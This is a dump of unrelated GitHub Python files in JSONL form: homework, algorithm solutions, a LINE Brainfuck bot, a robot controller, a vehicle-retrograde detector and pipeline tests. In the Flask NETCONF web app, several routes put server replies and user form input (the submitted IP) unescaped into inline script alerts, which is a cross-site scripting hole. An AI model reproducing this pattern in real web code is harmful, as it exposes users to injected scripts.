self.n_states))\n \n # Your implementation here\n \n for i in range(T):\n Gamma[i,:] = Alpha[i,:] * Beta[i,:]\n Gamma[i,:] = Gamma[i,:] / np.sum(Gamma[i,:])\n\n# return Alpha, Beta, Gamma # just for partial credit\n return Gamma","repo_name":"Fengch365/python-ECE498","sub_path":"Homework/HW4/HMM.py","file_name":"HMM.py","file_ext":"py","file_size_in_byte":4680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"32942687441","text":"from flask import Flask, request, render_template, jsonify, redirect, url_for\nfrom multiprocessing.connection import Client\n\napp = Flask(__name__)\n\n\nclass ClientSocket():\n APPIP = '10.8.41.251'\n APPPort = 1000\n ERROR_RET = {'state': 'fail', 'data': 'Error: Please try again.'}\n\n def __init__(self) -> None:\n try:\n self.conn = Client((self.APPIP, self.APPPort))\n except:\n pass\n\n def send(self, data):\n try:\n self.conn.send(data)\n except:\n try:\n self.__init__()\n self.conn.send(data)\n except:\n pass\n else:\n return self.conn.recv()\n else:\n return self.conn.recv()\n\n\nCLIENT = ClientSocket()\n\n\n@app.route('/favicon.ico')\ndef favicon():\n return redirect(url_for('static', filename='favicon.ico'))\n\n@app.get(\"/\")\ndef home():\n \n recv = CLIENT.send({'action': '/'})\n if recv['state'] == 'ok':\n return render_template('home.html', host_dict = recv['data'])\n elif recv['state'] == 'fail':\n pass\n\n@app.get(\"/get_device_list\")\ndef get_device_list():\n \n recv = CLIENT.send({'action': 'get_device_list'})\n if recv['state'] == 'ok':\n return jsonify(recv['data'])\n elif recv['state'] == 'fail':\n pass\n\n@app.route(\"/flow\")\ndef flow():\n return render_template('flow.html')\n\n@app.route(\"/<ip>\")\ndef device_information(ip):\n '''透過 template 更換 textarea 內的 rpc template'''\n \n recv = CLIENT.send({'action': '<ip>', 'data': ip})\n\n if recv['state'] == 'ok':\n return render_template('device_information.html', sub_list = recv['data'], ip = ip)\n elif recv['state'] == 'fail':\n return f'''<script>alert(\"Fail: {recv['data']}\");window.location.replace(\"/\");</script>'''\n\n@app.post(\"/<ip>/reconnect\")\ndef reconnect(ip):\n recv = CLIENT.send({'action': '<ip>/reconnect', 'data': ip})\n\n if recv['state'] == 'ok':\n return render_template('device_information.html', sub_list = recv['data'], ip = ip)\n elif recv['state'] == 'fail':\n return f'''<script>alert(\"Fail: {recv['data']}\");window.location.replace(\"/\");</script>'''\n\n@app.route(\"/<ip>/load_rpc_sample\")\ndef get_rpc_sample(ip):\n \n recv = CLIENT.send({'action': '<ip>/load_rpc_sample', 'data': ip})\n\n if recv['state'] == 'ok':\n return recv['data']\n elif recv['state'] == 'fail':\n return f'''<script>alert(\"Fail: {recv['data']}\");window.location.replace(\"/\");</script>'''\n \n@app.post(\"/<ip>/delete\")\ndef delete_device(ip):\n \n recv = CLIENT.send({'action': '<ip>/delete', 'data': ip})\n\n if recv['state'] == 'ok':\n return redirect('/')\n elif recv['state'] == 'fail':\n return f'''<script>alert(\"Fail: {recv['data']}\");window.location.replace(\"/\");</script>'''\n\n@app.route(\"/<ip>/sendRPC\", methods = [\"POST\"])\ndef getdata(ip):\n \n recv = CLIENT.send({'action': '<ip>/sendRPC','data': {'ip': ip, 'rpc': request.form['rpc']}})\n\n if recv['state'] == 'ok':\n return render_template('rpc_reply.html', data = recv['data'], ip=ip)\n elif recv['state'] == 'fail':\n return f'''<script>alert(\"Fail: {recv['data']}\");window.location.replace(\"/\");</script>'''\n\n@app.route(\"/add_host\")\ndef add_host():\n recv = CLIENT.send({'action': 'add_host'})\n\n return render_template('add_host.html', all_device_params = recv['data'])\n\n@app.route(\"/subscribe\", methods = [\"POST\"])\ndef subscribe_web():\n recv = CLIENT.send({\n 'action': 'subscribe',\n 'data': {\n 'IP': request.form['ip'],\n 'PORT': request.form['port'],\n 'USERNAME': request.form['username'],\n 'PASSWORD': request.form['password'],\n 'DEVICE_PARAMS': {'name': request.form['device_variant']}\n }\n })\n\n if recv['state'] == 'ok':\n return redirect('/')\n elif recv['state'] == 'fail':\n return f'''<script>alert(\"{request.form['ip']} is exist.\");window.location.replace(\"/\");</script>'''\n\n # except Exception as e:\n # return f'<script>alert(\"{e}\");window.location.replace(\"/\");</script>'\n \n@app.route(\"/setting\")\ndef setting():\n \n recv = CLIENT.send({'action': 'setting'})\n\n return render_template('setting.html', inventory_param = recv['data'])\n\n@app.route(\"/setting/influxdb\", methods = [\"POST\"])\ndef change_dbsettings():\n recv = CLIENT.send({\n 'action': 'setting/influxdb',\n 'data': {\n 'url': request.form['url'].strip(),\n 'token': request.form['token'].strip(),\n 'organization': request.form['organization'].strip(),\n 'bucket': request.form['bucket'].strip()\n }\n })\n\n if recv['state'] == 'ok':\n return jsonify(result = 'OK')\n elif recv['state'] == 'fail':\n print('Something Error')\n\n@app.route(\"/setting/mail\", methods = [\"POST\"])\ndef change_mailsettings():\n recv = CLIENT.send({\n 'action': 'setting/mail',\n 'data': {\n 'smtpserver': request.form['smtpserver'],\n 'subject': request.form['subject'],\n 'port': request.form['port'],\n 'mailfrom': request.form['mailfrom'],\n 'mailto': [request.form['mailto']]\n }\n })\n\n if recv['state'] == 'ok':\n return jsonify(result = 'OK')\n elif recv['state'] == 'fail':\n print('Something Error')\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port='5000')","repo_name":"SonixChang/Netconf_Server","sub_path":"web/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":5453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41762342020","text":"# 백준24446 : 알고리즘 수업 - 너비 우선 탐색 3\r\nimport sys; input = sys.stdin.readline\r\nfrom collections import deque\r\n\r\ndef joyGo(N: int, M: int, R: int, graph: list) -> None : \r\n def BFS(start_node: int) -> list : \r\n visited = [-1] * N\r\n visited[start_node] = 0\r\n\r\n dq = deque([start_node])\r\n while dq : \r\n start_node = dq.popleft()\r\n for node in graph[start_node] : \r\n if visited[node] == -1 : \r\n visited[node] = visited[start_node] + 1\r\n dq.append(node)\r\n \r\n return visited\r\n\r\n\r\n print(\"\\n\".join(map(str, BFS(R-1))))\r\n\r\n\r\n\r\nif __name__ == \"__main__\" : \r\n N, M, R = map(int, input().split())\r\n graph = [[] for _ in range(N)]\r\n for _ in range(M) : \r\n u, v = map(int, input().split())\r\n graph[u-1].append(v-1)\r\n graph[v-1].append(u-1)\r\n joyGo(N, M, R, graph)","repo_name":"Yoon-men/Problem-Solving","sub_path":"BaekJoon/24446.py","file_name":"24446.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28512335616","text":"import os,time,json\n\n\n# 引入flask模組\nfrom flask import Flask, request, abort\n\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\n\n# Use a service account\ncred = credentials.Certificate(os.path.join(os.getcwd(),'secret','firebase.json'))\nfirebase_admin.initialize_app(cred)\n\ndb = firestore.client()\n\n\n\n\n# 引入linebot相關模組\nfrom linebot import (\n LineBotApi, WebhookHandler\n)\nfrom linebot.exceptions import (\n InvalidSignatureError\n)\n\n# 處理器請參閱以下網址的 Message objects 章節\n# https://github.com/line/line-bot-sdk-python\nfrom linebot.models import (\n MessageEvent, PostbackEvent, TextMessage, StickerMessage, TextSendMessage, StickerSendMessage, FlexSendMessage, LocationSendMessage, ImageSendMessage, TemplateSendMessage, ButtonsTemplate, PostbackAction, MessageAction, URIAction, CarouselTemplate, CarouselColumn\n)\n\n\n\nfrom brainFuckInterpreter import BrainF,text2bf2,text2bf3,text2bf\nfrom brainFuckInterpreter.translation import TEXT\n\n\n\n\n\n\napp = Flask(__name__)\n\nif app.env=='development':\n from dotenv import load_dotenv\n load_dotenv(dotenv_path=os.path.join(os.getcwd(),'.env'),override=True)\n\n# LINE的Webhook為了辨識開發者身份所需的資料\n# 相關訊息進入網址(https://developers.line.me/console/)\nline_secret=json.load(open(os.path.join(os.getcwd(),'secret','line.json')))\nCHANNEL_ACCESS_TOKEN = line_secret['channel_access_token']\nCHANNEL_SECRET = line_secret['channel_secret']\n\n# *********** 以下為 X-LINE-SIGNATURE 驗證程序 ***********\nline_bot_api = LineBotApi(CHANNEL_ACCESS_TOKEN)\nhandler = WebhookHandler(CHANNEL_SECRET)\n\n\n@app.route(\"/\", methods=['POST'])\ndef callback():\n # 當LINE發送訊息給機器人時,從header取得 X-Line-Signature\n # X-Line-Signature 用於驗證頻道是否合法\n signature = request.headers['X-Line-Signature']\n\n # 將取得到的body內容轉換為文字處理\n body = request.get_data(as_text=True)\n\n # 一但驗證合法後,將body內容傳至handler\n try:\n handler.handle(body, signature)\n except InvalidSignatureError:\n print('[X-Line-Signature 驗證失敗]')\n abort(400)\n\n return 'OK'\n@app.route('/',methods=('GET',))\ndef index():\n return 'OK',200\n# *********** 以上為 X-LINE-SIGNATURE 驗證程序 ***********\n\n\n# 文字訊息傳入時的處理器\n@handler.add(MessageEvent, message=TextMessage)\ndef handle_message(event):\n # 當有文字訊息傳入時\n # event.message.text : 使用者輸入的訊息內容\n print('*'*40)\n print('[使用者傳入文字訊息]')\n print(str(event))\n # 使用者說的文字\n user_msg = event.message.text\n # 準備要回傳的文字訊息\n reply=None\n\n user_doc=db.document(f'users_session/{event.source.user_id}').get()\n user={\n 'status':None\n }\n if user_doc.exists:\n user.update(user_doc.to_dict())\n if user['status']:\n if user['status']=='encrypt':\n reply=TextSendMessage(\n text=text2bf3(user_msg)\n )\n user['status']=None\n elif user['status']=='decrypt':\n reply = TextSendMessage(\n text=BrainF(code=user_msg, print_memory=False).run()\n )\n user['status'] = None\n else:\n if user_msg.split()[0].lower()=='encrypt':\n reply=TextSendMessage(\n text=text2bf3(\" \".join(user_msg.split()[1::]))\n )\n elif user_msg.split()[0].lower()=='decrypt':\n reply = TextSendMessage(\n text=BrainF(code=\" \".join(user_msg.split()[1::]),print_memory=False).run()\n )\n elif user_msg.split()[0].lower().find('學測')!=-1:\n reply=TextSendMessage(\n text=TEXT\n )\n elif user_msg.find('余') != -1:\n reply = TextSendMessage(text=f'余才不知道人類大人在說什麼呢')\n else:\n flex_dict=json.load(open(os.path.join(os.getcwd(),'templates','card.json')))\n reply = FlexSendMessage(\n alt_text=\"flex message\",\n contents=flex_dict\n )\n # pass\n\n db.collection('users_session').document(event.source.user_id).set(user)\n\n\n # 回傳訊息\n if reply:\n line_bot_api.reply_message(\n event.reply_token,\n reply\n )\n\n\n@handler.add(PostbackEvent)\ndef postback(event):\n print(event)\n reply=None\n user={\n 'status':None\n }\n if event.postback.data==\"encrypt\":\n reply='plz enter text'\n user['status']='encrypt'\n elif event.postback.data==\"decrypt\":\n reply=\"plz enter bf code\"\n user['status'] = 'decrypt'\n\n db.collection('users_session').document(event.source.user_id).set(user)\n\n\n if reply:\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(\n text=reply\n )\n )\n\n# # 貼圖訊息傳入時的處理器\n# @handler.add(MessageEvent, message=StickerMessage)\n# def handle_sticker_message(event):\n# # 當有貼圖訊息傳入時\n# print('*'*40)\n# print('[使用者傳入貼圖訊息]')\n# print(str(event))\n#\n# # 準備要回傳的貼圖訊息\n# # TODO: 機器人可用的貼圖 https://devdocs.line.me/files/sticker_list.pdf\n# reply = StickerSendMessage(package_id='2', sticker_id='149')\n#\n# # 回傳訊息\n# line_bot_api.reply_message(\n# event.reply_token,\n# reply)\n\n\n\n\nif __name__ == \"__main__\":\n print('[伺服器開始運行]')\n port = int(os.environ.get('PORT', 5500))\n # 使app開始在此連接端口上運行\n print('[Flask運行於連接端口:{}]'.format(port))\n # 本機測試使用127.0.0.1, debug=True\n # Heroku部署使用 0.0.0.0\n app.run(port=port)\n","repo_name":"Forever-CodingNoob/brainfuck-bot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11321365901","text":"# I will create a list of fruits/vegetables to buy\n# I will go to market and see discount prices\n\n# This file do not use modules\n\n# defining functions that operates on list to buy\ndef add_fruit(fruit, my_list):\n\n if fruit not in my_list:\n my_list.append(fruit)\n print('{} added to list'.format(fruit))\n else:\n print('{} already in list'.format(fruit))\n\n return my_list\n\n\ndef remove_fruit(fruit, my_list):\n\n if fruit in my_list:\n my_list.remove(fruit)\n print('{} removed from list'.format(fruit))\n else:\n print('{} not in list'.format(fruit))\n\n return my_list\n\n\ndef add_vegetable(vegetable, my_list):\n if vegetable not in my_list:\n my_list.append(vegetable)\n print('{} added to list'.format(vegetable))\n else:\n print('{} already in list'.format(vegetable))\n\n return my_list\n\n\ndef remove_vegetable(vegetable, my_list):\n if vegetable in my_list:\n my_list.remove(vegetable)\n print('{} removed from list'.format(vegetable))\n else:\n print('{} not in list'.format(vegetable))\n return my_list\n\n\n# marked prices of fruits and vegetables\nprice_of_foods = {\n 'orange': 100,\n 'watermelon': 200,\n 'grapes': 300,\n 'tomato': 100,\n 'potato': 400\n}\n\n\n# this function belongs to shop\ndef discount(my_list, discount=0.10):\n \"\"\"\n this function returns price after discount\n \"\"\"\n discount_rate = discount\n\n selling_price = {}\n\n for fruit in my_list:\n marked_price = price_of_foods[fruit]\n discount_amount = marked_price * discount_rate\n price = marked_price - discount_amount\n selling_price[fruit] = price\n\n return selling_price\n\n\n# doing some food listing before going to shop\nlist_to_buy = []\n\nadd_fruit('orange', list_to_buy)\nadd_fruit('watermelon', list_to_buy)\nadd_fruit('grapes', list_to_buy)\nremove_fruit('orange', list_to_buy) # I don't like oranges\nadd_vegetable('tomato', list_to_buy)\nadd_vegetable('potato', list_to_buy)\n\n# how much each costs after discount?\nprint(discount(list_to_buy))\n","repo_name":"prashunchitkr/basic-python-training","sub_path":"Day8/old_me.py","file_name":"old_me.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"1425313273","text":"import logging\n\nimport numpy as np\nfrom gambit import Rational\nfrom gambit.nash import NashSolution\nfrom typing import Optional, Tuple, List, Dict\n\nimport analyser\nimport solver\nfrom abm_gamemodel import generate_game_model\nfrom game import InteractionGame\nfrom gamemodel import CALL_STAFF_ROBOT_ACTION, ASK_FOR_HELP_ROBOT_ACTION\n\n\nclass AbstractRobotController(object):\n\n def sensor_data_callback(self, sensor_data):\n raise NotImplementedError(\"Subclasses must override sensor_data_callback\")\n\n\nclass ProSelfRobotController(AbstractRobotController):\n\n def sensor_data_callback(self, sensor_data):\n return CALL_STAFF_ROBOT_ACTION\n\n\nclass ProSocialRobotController(AbstractRobotController):\n\n def sensor_data_callback(self, sensor_data):\n return ASK_FOR_HELP_ROBOT_ACTION\n\n\nclass AutonomicManagerController(AbstractRobotController):\n\n def __init__(self, type_analyser, model_generator):\n self.type_analyser = type_analyser # type: analyser.SyntheticTypeAnalyser\n self.external_solver = solver.ExternalSubGamePerfectSolver() # type: solver.ExternalSubGamePerfectSolver\n self.interaction_game = None # type: Optional[InteractionGame]\n\n self.model_generator = model_generator # type: generate_game_model\n\n self.robot_payoff_with_support = None # type: Optional[Rational]\n self.robot_payoff_call_staff = None # type: Optional[Rational]\n\n def get_shared_identity_probability(self, sensor_data):\n # type: (np.ndarray) -> float\n\n type_probabilities = self.type_analyser.obtain_probabilities(sensor_data) # type: np.ndarray\n shared_identity_prob = type_probabilities.item() # type: float\n\n return shared_identity_prob\n\n def sensor_data_callback(self, sensor_data, model_filename=None):\n # type: (np.ndarray, Optional[str]) -> Optional[str]\n\n group_identity_prob = self.get_shared_identity_probability(sensor_data) # type: float\n logging.info(\"group_identity_prob : %.4f \" % group_identity_prob)\n logging.info(\"self.robot_payoff_with_support {}\".format(self.robot_payoff_with_support))\n logging.info(\"self.robot_payoff_call_staff {}\".format(self.robot_payoff_call_staff))\n\n self.model_interaction(zero_responder_prob=group_identity_prob, filename=model_filename)\n equilibria = self.external_solver.solve(self.interaction_game.game_tree) # type: List[NashSolution]\n\n if len(equilibria) == 0:\n logging.warning(\"No equilibria found! Aborting\")\n return\n\n if len(equilibria) > 1:\n logging.warning(\"Multiple equilibria found! Aborting\")\n return\n strategy_profile = equilibria[0] # type: NashSolution\n\n robot_strategy = self.interaction_game.get_robot_strategy(strategy_profile) # type: Dict[str, float]\n robot_action = max(robot_strategy, key=robot_strategy.get) # type: str\n\n return robot_action\n\n def model_interaction(self, zero_responder_prob, filename):\n # type: (float, Optional[str]) -> None\n\n zero_responder_ratio = zero_responder_prob.as_integer_ratio() # type: Tuple [int, int]\n selfish_ratio = (1 - zero_responder_prob).as_integer_ratio() # type: Tuple [int, int]\n\n self.interaction_game = self.model_generator(zero_responder_ratio=zero_responder_ratio,\n selfish_ratio=selfish_ratio,\n robot_payoff_with_support=self.robot_payoff_with_support,\n robot_payoff_call_staff=self.robot_payoff_call_staff,\n filename=filename)\n\n @staticmethod\n def get_robot_payoff_with_support(staff_fallen_distance, helper_fallen_distance):\n if staff_fallen_distance < 0 or staff_fallen_distance > helper_fallen_distance:\n return Rational(3, 1)\n\n return Rational(2, 1)\n\n @staticmethod\n def get_robot_payoff_call_staff(staff_fallen_distance, helper_fallen_distance):\n if staff_fallen_distance < 0:\n return Rational(-1, 1)\n elif staff_fallen_distance > helper_fallen_distance:\n return Rational(0, 1)\n else:\n return Rational(1, 1)\n\n def measure_distance(self, environment):\n self.robot_payoff_with_support = self.get_robot_payoff_with_support(environment.staff_fallen_distance,\n environment.helper_fallen_distance)\n self.robot_payoff_call_staff = self.get_robot_payoff_call_staff(environment.staff_fallen_distance,\n environment.helper_fallen_distance)\n\n\ndef main():\n manager = AutonomicManagerController(analyser.SyntheticTypeAnalyser(model_file=\"trained_model.h5\"))\n sample_sensor_reading = np.zeros(shape=(1, 31)) # type: np.ndarray\n robot_action = manager.sensor_data_callback(sample_sensor_reading)\n print(robot_action)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cptanalatriste/wdywfm-adaptive-robot","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":5097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36034931281","text":"import numpy as np\nimport math\n\n\nclass VehicleRetrogradeRecognizer(object):\n def __init__(self, cfg):\n self.cfg = cfg\n self.filter_horizontal_flag = self.cfg['filter_horizontal_flag']\n self.deviation = self.cfg['deviation']\n self.move_scale = self.cfg['move_scale']\n self.keep_right_flag = self.cfg['keep_right_flag']\n self.center_traj_retrograde = [{}] #retrograde recognizer record use\n self.fence_line = None if len(self.cfg[\n 'fence_line']) == 0 else self.cfg['fence_line']\n\n def update_center_traj(self, mot_res, max_len):\n from collections import deque, defaultdict\n if mot_res is not None:\n ids = mot_res['boxes'][:, 0]\n scores = mot_res['boxes'][:, 2]\n boxes = mot_res['boxes'][:, 3:]\n boxes[:, 2] = boxes[:, 2] - boxes[:, 0]\n boxes[:, 3] = boxes[:, 3] - boxes[:, 1]\n else:\n boxes = np.zeros([0, 4])\n ids = np.zeros([0])\n scores = np.zeros([0])\n\n # single class, still need to be defaultdict type for ploting\n num_classes = 1\n online_tlwhs = defaultdict(list)\n online_scores = defaultdict(list)\n online_ids = defaultdict(list)\n online_tlwhs[0] = boxes\n online_ids[0] = ids\n\n if mot_res is not None:\n for cls_id in range(num_classes):\n tlwhs = online_tlwhs[cls_id]\n obj_ids = online_ids[cls_id]\n for i, tlwh in enumerate(tlwhs):\n x1, y1, w, h = tlwh\n center = tuple(map(int, (x1 + w / 2., y1 + h)))\n obj_id = int(obj_ids[i])\n if self.center_traj_retrograde is not None:\n if obj_id not in self.center_traj_retrograde[cls_id]:\n self.center_traj_retrograde[cls_id][obj_id] = deque(\n maxlen=max_len)\n self.center_traj_retrograde[cls_id][obj_id].append(\n center)\n\n def get_angle(self, array):\n\n x1, y1, x2, y2 = array\n a_x = x2 - x1\n a_y = y2 - y1\n angle1 = math.atan2(a_y, a_x)\n angle1 = int(angle1 * 180 / math.pi)\n\n a_x = x2 - x1 if y2 >= y1 else x1 - x2\n a_y = y2 - y1 if y2 >= y1 else y1 - y2\n angle2 = math.atan2(a_y, a_x)\n angle2 = int(angle2 * 180 / math.pi)\n if angle2 > 90:\n angle2 = 180 - angle2\n\n return angle1, angle2\n\n def is_move(self, array, frame_shape):\n x1, y1, x2, y2 = array\n h, w, _ = frame_shape\n\n if abs(x1 - x2) > w * self.move_scale or abs(y1 -\n y2) > h * self.move_scale:\n return True\n else:\n return False\n\n def get_distance_point2line(self, point, line):\n\n line_point1, line_point2 = np.array(line[0:2]), np.array(line[2:])\n vec1 = line_point1 - point\n vec2 = line_point2 - point\n distance = np.abs(np.cross(vec1, vec2)) / np.linalg.norm(line_point1 -\n line_point2)\n\n return distance\n\n def driving_direction(self, line1, line2, is_init=False):\n x1, y1 = line1[2] - line1[0], line1[3] - line1[1]\n x2, y2 = line2[0] - line1[0], line2[1] - line1[1]\n result = x1 * y2 - x2 * y1\n\n distance = self.get_distance_point2line([x2, y2], line1)\n\n if result < 0:\n result = 1\n elif result == 0:\n if line2[3] >= line2[1]:\n return -1\n else:\n return 1\n else:\n result = -1\n\n return result, distance\n\n def get_long_fence_line(self, h, w, line):\n\n x1, y1, x2, y2 = line\n if x1 == x2:\n return [x1, 0, x1, h]\n if y1 == y2:\n return [0, y1, w, y1]\n k = (y2 - y1) / (x2 - x1)\n b = y1 - k * x1\n\n if k == 1 and b == 0:\n return [0, 0, w, h]\n if k == -1 and b == 0:\n return [w, 0, h, h]\n\n top = [-b / k, 0]\n left = [0, b]\n right = [w, k * w + b]\n bottom = [(h - b) / k, h]\n candidate = np.array([top, left, right, bottom])\n\n flag = np.array([0, 0, 0, 0])\n\n if top[0] >= 0 and top[0] <= w:\n flag[0] = 1\n if left[1] > 0 and left[1] <= h:\n flag[1] = 1\n if right[1] > 0 and right[1] <= h:\n flag[2] = 1\n if bottom[0] > 0 and bottom[0] < w:\n flag[3] = 1\n\n ind = np.where(flag == 1)\n candidate = candidate[ind]\n candidate_sort = candidate[candidate[:, 1].argsort()]\n\n return [\n int(candidate_sort[0][0]), int(candidate_sort[0][1]),\n int(candidate_sort[1][0]), int(candidate_sort[1][1])\n ]\n\n def init_fence_line(self, lanes, pos_dir_traj, neg_dir_traj, frame_shape):\n\n fence_lines_candidate = None\n h, w, _ = frame_shape\n abs_distance = h * h + w * w\n\n for lane in lanes[0]:\n pos_dir_distansce = h * h + w * w\n neg_dir_distansce = h * h + w * w\n pos_dir = 0\n neg_dir = 0\n\n for traj_line in pos_dir_traj:\n dir_result, distansce = self.driving_direction(\n lane, traj_line['traj_line'])\n if dir_result > 0:\n pos_dir_distansce = distansce if distansce < pos_dir_distansce else pos_dir_distansce\n pos_dir = 1\n else:\n neg_dir_distansce = distansce if distansce < neg_dir_distansce else neg_dir_distansce\n neg_dir = 1\n\n if pos_dir > 0 and neg_dir > 0:\n continue\n\n for traj_line in neg_dir_traj:\n\n dir_result, distansce = self.driving_direction(\n lane, traj_line['traj_line'])\n\n if dir_result > 0:\n pos_dir_distansce = distansce if distansce < pos_dir_distansce else pos_dir_distansce\n pos_dir = 1\n else:\n neg_dir_distansce = distansce if distansce < neg_dir_distansce else neg_dir_distansce\n neg_dir = 1\n\n if pos_dir > 0 and neg_dir > 0:\n diff_dir_distance = abs(pos_dir_distansce - neg_dir_distansce)\n if diff_dir_distance < abs_distance:\n fence_lines_candidate = lane\n abs_distance = diff_dir_distance\n\n if fence_lines_candidate is None:\n return None\n\n fence_lines_candidate = self.get_long_fence_line(h, w,\n fence_lines_candidate)\n\n return fence_lines_candidate\n\n def judge_retrograde(self, traj_line):\n\n line1 = self.fence_line\n x1, y1 = line1[2] - line1[0], line1[3] - line1[1]\n\n line2 = traj_line['traj_line']\n x2_start_point, y2_start_point = line2[0] - line1[0], line2[1] - line1[\n 1]\n x2_end_point, y2_end_point = line2[2] - line1[0], line2[3] - line1[1]\n\n start_point_dir = x1 * y2_start_point - x2_start_point * y1\n end_point_dir = x1 * y2_end_point - x2_end_point * y1\n\n if start_point_dir < 0:\n start_point_dir = 1\n\n elif start_point_dir == 0:\n if line2[3] >= line2[1]:\n start_point_dir = -1\n else:\n start_point_dir = 1\n else:\n start_point_dir = -1\n\n if end_point_dir < 0:\n end_point_dir = 1\n\n elif end_point_dir == 0:\n if line2[3] >= line2[1]:\n end_point_dir = -1\n else:\n end_point_dir = 1\n else:\n end_point_dir = -1\n\n if self.keep_right_flag:\n driver_dir = -1 if (line2[3] - line2[1]) >= 0 else 1\n else:\n driver_dir = -1 if (line2[3] - line2[1]) <= 0 else 1\n\n return start_point_dir == driver_dir and start_point_dir == end_point_dir\n\n def mot_run(self, lanes_res, det_res, frame_shape):\n\n det = det_res['boxes']\n directions = lanes_res['directions']\n lanes = lanes_res['output']\n if len(directions) > 0:\n direction = directions[0]\n else:\n return [], self.fence_line\n\n if len(det) == 0:\n return [], self.fence_line\n\n traj_lines = []\n pos_dir_traj = []\n neg_dir_traj = []\n for i in range(len(det)):\n class_id = int(det[i][1])\n mot_id = int(det[i][0])\n traj_i = self.center_traj_retrograde[class_id][mot_id]\n if len(traj_i) < 2:\n continue\n\n traj_line = {\n 'index': i,\n 'mot_id': mot_id,\n 'traj_line':\n [traj_i[0][0], traj_i[0][1], traj_i[-1][0], traj_i[-1][1]]\n }\n\n if not self.is_move(traj_line['traj_line'], frame_shape):\n continue\n angle, angle_deviation = self.get_angle(traj_line['traj_line'])\n if direction is not None and self.filter_horizontal_flag:\n if abs(angle_deviation - direction) > self.deviation:\n continue\n\n traj_line['angle'] = angle\n traj_lines.append(traj_line)\n\n if self.fence_line is None:\n if angle >= 0:\n pos_dir_traj.append(traj_line)\n else:\n neg_dir_traj.append(traj_line)\n\n if len(traj_lines) == 0:\n return [], self.fence_line\n\n if self.fence_line is None:\n\n if len(pos_dir_traj) < 1 or len(neg_dir_traj) < 1:\n return [], None\n\n self.fence_line = self.init_fence_line(lanes, pos_dir_traj,\n neg_dir_traj, frame_shape)\n return [], self.fence_line\n\n else:\n retrograde_list = []\n for traj_line in traj_lines:\n if self.judge_retrograde(traj_line) == False:\n retrograde_list.append(det[traj_line['index']][0])\n\n return retrograde_list, self.fence_line\n","repo_name":"PaddlePaddle/PaddleDetection","sub_path":"deploy/pipeline/ppvehicle/vehicle_retrograde.py","file_name":"vehicle_retrograde.py","file_ext":"py","file_size_in_byte":10258,"program_lang":"python","lang":"en","doc_type":"code","stars":11450,"dataset":"github-code","pt":"29"} +{"seq_id":"74481836237","text":"import cmd\nimport os\n\nfrom kitefly import (\n AutomaticRetry,\n BuildAttributes,\n Block,\n Pipeline,\n Command,\n Group,\n NoopFilter,\n Option,\n Plugin,\n Input,\n Target,\n TextField,\n SelectField,\n Trigger,\n Wait,\n)\nfrom kitefly.model.input import Block\nfrom kitefly.model.retry import ManualRetry\n\nsnapshot_count = {}\n\n\ndef check_snapshot(name: str, pipeline: Pipeline):\n snap_name = name\n if name not in snapshot_count:\n snapshot_count[name] = 0\n else:\n snapshot_count[name] += 1\n count = snapshot_count[name]\n snap_name += \"-\" + str(count)\n snap_name += \".yml\"\n output = pipeline.asyaml()\n snapshots = os.path.join(os.path.dirname(__file__), \"__snapshots__\")\n snap_file = os.path.join(snapshots, snap_name)\n os.makedirs(snapshots, exist_ok=True)\n if os.path.isfile(snap_file):\n with open(snap_file, encoding=\"utf8\") as stream:\n content = stream.read()\n try:\n assert output == content\n except AssertionError:\n raise ValueError(\n f\"Snapshot does not match content: {snap_file}.\"\n f\" To reset the snapshot, run `rm {snap_file}`\"\n )\n else:\n with open(snap_file, mode=\"w\") as stream:\n stream.write(output)\n assert (\n False\n ), f\"New snapshot written to {snap_file} -- run test again to verify\\n\"\n\n\ndef test_pipeline_one_step():\n check_snapshot(\"one-step\", Pipeline([Command(\"Run Tests\", \"script/test.sh\")]))\n\n\ndef test_pipeline_group():\n check_snapshot(\n \"group\",\n Pipeline(\n [\n Group(\n [\n Command(\"Run Build\", \"script/build.sh\"),\n Command(\"Run Tests\", \"script/test.sh\"),\n ],\n label=\"my_group\",\n ),\n Wait(),\n Wait()\n ]\n ),\n )\n\n\ndef test_pipeline_step_with_deps():\n check_snapshot(\n \"group-with-deps\",\n Pipeline(\n [\n Group(\n [\n Command(\"Run Build\", \"script/build.sh\"),\n Command(\"Run Tests\", \"script/test.sh\"),\n ],\n label=\"Full Test Suite\",\n )\n << Command(\"Collect Results\", \"script/collect-results.sh\")\n ]\n ),\n )\n\n\ndef test_full_example():\n test_results = Command(\"Collect Results\", \"script/collect-results.sh\")\n\n class CommonCommand(Command):\n artifact_paths = [\"build-artifacts/**\"]\n\n class LinuxCommand(CommonCommand):\n agents = {\"os\": \"linux\"}\n\n class LinuxHighCpuCommand(LinuxCommand):\n agents = {\"cores\": 8}\n\n py_files = Target.src(\"**/*.py\")\n md_files = Target.src(\"**/*.md\")\n py_test_files = Target.src(r\"**/test_*.py\")\n py_test_files >> py_files\n\n check_snapshot(\n \"full-example\",\n Pipeline(\n [\n Group(\n [\n LinuxHighCpuCommand(\n \"Run Build\",\n \"script/build.sh\",\n targets=[py_test_files],\n plugins=[Plugin(\"coverage\", {\"token\": \"foo\"})],\n timeout_in_minutes=60,\n env={\"ENABLE_INSTRUMENTATION\": \"1\"},\n ),\n LinuxCommand(\n \"Run Tests\",\n \"script/test.sh\",\n parallelism=2,\n priority=100,\n soft_fail=True,\n ),\n Command(\n \"Test docs\",\n \"test-doc.sh\",\n targets=[md_files.prio(10)],\n artifact_paths=[\"docs-generated/**\"],\n automatic_retries=[AutomaticRetry(1, exit_code=2)],\n 